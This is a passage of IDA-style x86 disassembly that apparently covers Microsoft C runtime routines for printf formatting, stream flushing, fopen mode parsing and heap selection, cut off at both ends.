jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_433C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_433C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4CEDE0 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax call near ptr 2631A0Bh nop test eax, eax jnz short loc_41A730 nop call near ptr 2650B3Dh mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_4CD9B8, 0 mov dword_4CD9B4, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4CECC0, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_4CDCB0 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_4CECC0 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_4363A8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_4363C8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_4CDB78 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_4CDA0C[eax*4], 0 push ebx push edi lea edi, ds:4CDA0Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4CDB80 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_4CDB78 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_4CECC0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_4CDCB0 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_4CDCB0 mov [edi+ecx], eax mov eax, dword_4CDCB0 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_4CDA18 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2720C42h nop cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 2791559h test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call near ptr 2840000h nop test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2660000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc 